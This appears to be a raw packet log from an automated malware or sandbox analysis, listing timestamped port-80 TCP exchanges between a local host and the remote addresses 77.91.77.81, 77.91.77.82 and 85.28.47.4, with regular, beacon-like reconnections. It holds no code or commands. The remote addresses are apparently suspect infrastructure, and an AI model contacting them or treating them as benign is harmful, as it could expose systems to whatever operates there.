Jul 2, 2024 04:13:07.141566038 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.141571045 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141583920 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141594887 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141607046 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141618013 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.141619921 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141630888 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141638994 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.141643047 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141685963 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.141725063 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141737938 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141765118 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.141788960 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.141879082 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141896009 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141906023 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141918898 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141927004 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.141931057 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141942978 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141946077 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.141953945 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141963959 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141968012 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.141974926 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141987085 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.141993046 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.142013073 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.142024994 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.142024994 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.142064095 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.176662922 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.176678896 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.176688910 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.176702023 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.176713943 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.176732063 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.176781893 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.176800966 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.176819086 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.176821947 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.176832914 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.176835060 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.176846981 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.176857948 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.176871061 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.176891088 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.176919937 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.177005053 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.177016973 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.177028894 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.177041054 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.177051067 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.177067995 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.177094936 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.177319050 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.177330971 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.177341938 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.177366018 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.177377939 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.177470922 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.177483082 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.177515984 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.177548885 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.177628994 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.177639961 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.177678108 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.177824974 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.177839041 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.177850962 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.177870989 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.177902937 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.177967072 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.177978992 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.177990913 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178003073 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178011894 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.178041935 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.178065062 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.178276062 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178286076 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178432941 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178443909 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178453922 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.178456068 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178467035 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178478956 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178483963 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.178489923 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178498983 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178510904 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178515911 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.178523064 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178534985 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.178553104 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.178577900 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.178589106 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178600073 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178611040 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178627014 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.178642035 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.178802967 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178814888 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178827047 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178854942 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.178868055 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.178960085 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178971052 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.178982973 CEST	80	54802	77.91.77.81	192.168.2.5
Jul 2, 2024 04:13:07.179007053 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.179032087 CEST	54802	80	192.168.2.5	77.91.77.81
Jul 2, 2024 04:13:07.922235966 CEST	54801	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:07.922557116 CEST	54803	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:07.927628040 CEST	80	54801	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:07.927649975 CEST	80	54803	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:07.927722931 CEST	54801	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:07.927769899 CEST	54803	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:07.927963972 CEST	54803	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:07.932735920 CEST	80	54803	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:07.962733984 CEST	54804	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:13:07.969108105 CEST	80	54804	85.28.47.4	192.168.2.5
Jul 2, 2024 04:13:07.970454931 CEST	54804	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:13:07.970690966 CEST	54804	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:13:07.975464106 CEST	80	54804	85.28.47.4	192.168.2.5
Jul 2, 2024 04:13:08.775540113 CEST	80	54804	85.28.47.4	192.168.2.5
Jul 2, 2024 04:13:08.775559902 CEST	80	54803	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:08.775602102 CEST	54804	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:13:08.775670052 CEST	54803	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:08.877341032 CEST	54803	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:08.877753973 CEST	54805	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:08.882230997 CEST	80	54803	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:08.882312059 CEST	54803	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:08.882498980 CEST	80	54805	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:08.882575035 CEST	54805	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:08.882757902 CEST	54805	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:08.887489080 CEST	80	54805	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:09.595180035 CEST	80	54805	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:09.595376015 CEST	54805	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:09.598668098 CEST	54805	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:09.603440046 CEST	80	54805	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:09.826147079 CEST	80	54805	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:09.828774929 CEST	54805	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:09.942411900 CEST	54805	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:09.942763090 CEST	54806	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:09.947526932 CEST	80	54806	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:09.947653055 CEST	80	54805	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:09.947717905 CEST	54805	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:09.947738886 CEST	54806	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:09.947902918 CEST	54806	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:09.952603102 CEST	80	54806	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:10.142138958 CEST	54804	80	192.168.2.5	85.28.47.4
Jul 2, 2024 04:13:10.673032045 CEST	80	54806	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:10.678636074 CEST	54806	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:10.697331905 CEST	54806	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:10.702256918 CEST	80	54806	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:10.923384905 CEST	80	54806	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:10.923540115 CEST	54806	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:11.033556938 CEST	54806	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:11.033914089 CEST	54807	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:11.038671970 CEST	80	54807	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:11.038757086 CEST	54807	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:11.038878918 CEST	80	54806	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:11.038928032 CEST	54806	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:11.039021015 CEST	54807	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:11.044609070 CEST	80	54807	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:11.761370897 CEST	80	54807	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:11.761449099 CEST	54807	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:11.762150049 CEST	54807	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:11.767191887 CEST	80	54807	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:11.982069969 CEST	80	54807	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:11.982120991 CEST	54807	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:12.095961094 CEST	54807	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:12.096272945 CEST	54808	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:12.101205111 CEST	80	54808	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:12.101303101 CEST	54808	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:12.101377964 CEST	54808	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:12.101809978 CEST	80	54807	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:12.101865053 CEST	54807	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:12.106192112 CEST	80	54808	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:12.805829048 CEST	80	54808	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:12.805907965 CEST	54808	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:12.806663036 CEST	54808	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:12.811470032 CEST	80	54808	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:13.034926891 CEST	80	54808	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:13.035005093 CEST	54808	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:13.142785072 CEST	54808	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:13.143099070 CEST	54809	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:13.147881985 CEST	80	54808	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:13.147932053 CEST	80	54809	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:13.147944927 CEST	54808	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:13.147994995 CEST	54809	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:13.148159981 CEST	54809	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:13.152926922 CEST	80	54809	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:14.034604073 CEST	80	54809	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:14.034714937 CEST	54809	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:14.037194014 CEST	54809	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:14.042037010 CEST	80	54809	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:14.257426977 CEST	80	54809	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:14.257525921 CEST	54809	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:14.361681938 CEST	54809	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:14.362016916 CEST	54810	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:14.366823912 CEST	80	54810	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:14.366872072 CEST	80	54809	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:14.366894960 CEST	54810	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:14.366921902 CEST	54809	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:14.367084026 CEST	54810	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:14.371781111 CEST	80	54810	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:15.053411961 CEST	80	54810	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:15.053504944 CEST	54810	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:15.054255962 CEST	54810	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:15.059019089 CEST	80	54810	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:15.269238949 CEST	80	54810	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:15.269375086 CEST	54810	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:15.377243996 CEST	54810	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:15.377566099 CEST	54811	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:15.382369995 CEST	80	54811	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:15.382424116 CEST	80	54810	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:15.382491112 CEST	54811	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:15.382519960 CEST	54810	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:15.382842064 CEST	54811	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:15.387716055 CEST	80	54811	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:16.097284079 CEST	80	54811	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:16.097348928 CEST	54811	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:16.098036051 CEST	54811	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:16.102847099 CEST	80	54811	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:16.376880884 CEST	80	54811	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:16.376971960 CEST	54811	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:16.486650944 CEST	54811	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:16.486983061 CEST	54812	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:16.491856098 CEST	80	54811	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:16.491871119 CEST	80	54812	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:16.491941929 CEST	54811	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:16.491995096 CEST	54812	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:16.492193937 CEST	54812	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:16.497217894 CEST	80	54812	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:17.196085930 CEST	80	54812	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:17.196171999 CEST	54812	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:17.196825027 CEST	54812	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:17.201580048 CEST	80	54812	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:17.416683912 CEST	80	54812	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:17.416770935 CEST	54812	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:17.517901897 CEST	54812	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:17.518243074 CEST	54813	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:17.523032904 CEST	80	54813	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:17.523045063 CEST	80	54812	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:17.523147106 CEST	54812	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:17.523163080 CEST	54813	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:17.523394108 CEST	54813	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:17.528095961 CEST	80	54813	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:18.212635040 CEST	80	54813	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:18.212760925 CEST	54813	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:18.214538097 CEST	54813	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:18.219367981 CEST	80	54813	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:18.429619074 CEST	80	54813	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:18.429678917 CEST	54813	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:18.533554077 CEST	54813	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:18.533839941 CEST	54814	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:18.538631916 CEST	80	54814	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:18.538722992 CEST	54814	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:18.538750887 CEST	80	54813	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:18.538801908 CEST	54813	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:18.538923025 CEST	54814	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:18.543684959 CEST	80	54814	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:19.224152088 CEST	80	54814	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:19.224298000 CEST	54814	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:19.224998951 CEST	54814	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:19.229866982 CEST	80	54814	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:19.440164089 CEST	80	54814	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:19.440397024 CEST	54814	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:19.549052954 CEST	54814	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:19.549396992 CEST	54815	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:19.554198027 CEST	80	54814	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:19.554213047 CEST	80	54815	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:19.554287910 CEST	54814	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:19.554320097 CEST	54815	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:19.554478884 CEST	54815	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:19.559164047 CEST	80	54815	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:20.241269112 CEST	80	54815	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:20.241625071 CEST	54815	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:20.242347002 CEST	54815	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:20.247144938 CEST	80	54815	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:20.457694054 CEST	80	54815	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:20.457762957 CEST	54815	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:20.564970016 CEST	54815	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:20.565371990 CEST	54816	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:20.570202112 CEST	80	54816	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:20.570231915 CEST	80	54815	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:20.570326090 CEST	54816	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:20.570348024 CEST	54815	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:20.570489883 CEST	54816	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:20.575200081 CEST	80	54816	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:21.275321960 CEST	80	54816	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:21.275415897 CEST	54816	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:21.276040077 CEST	54816	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:21.280810118 CEST	80	54816	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:21.492149115 CEST	80	54816	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:21.492247105 CEST	54816	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:21.596111059 CEST	54816	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:21.596478939 CEST	54817	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:21.601210117 CEST	80	54816	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:21.601272106 CEST	54816	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:21.601283073 CEST	80	54817	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:21.601353884 CEST	54817	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:21.601680994 CEST	54817	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:21.606455088 CEST	80	54817	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:22.322496891 CEST	80	54817	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:22.322628975 CEST	54817	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:22.325159073 CEST	54817	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:22.330106020 CEST	80	54817	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:22.551425934 CEST	80	54817	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:22.551510096 CEST	54817	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:22.658520937 CEST	54817	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:22.658874989 CEST	54818	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:22.666956902 CEST	80	54817	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:22.667032003 CEST	54817	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:22.667587996 CEST	80	54818	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:22.667650938 CEST	54818	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:22.667759895 CEST	54818	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:22.672930956 CEST	80	54818	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:23.539830923 CEST	80	54818	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:23.540076017 CEST	54818	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:23.540843964 CEST	54818	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:23.545610905 CEST	80	54818	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:23.766791105 CEST	80	54818	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:23.766840935 CEST	54818	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:23.877302885 CEST	54818	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:23.877651930 CEST	54819	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:23.882462025 CEST	80	54819	77.91.77.82	192.168.2.5
Jul 2, 2024 04:13:23.882550955 CEST	54819	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:23.882697105 CEST	54819	80	192.168.2.5	77.91.77.82
Jul 2, 2024 04:13:23.882936001 CEST	80	54818	77.91.77.82	192.168.2.5
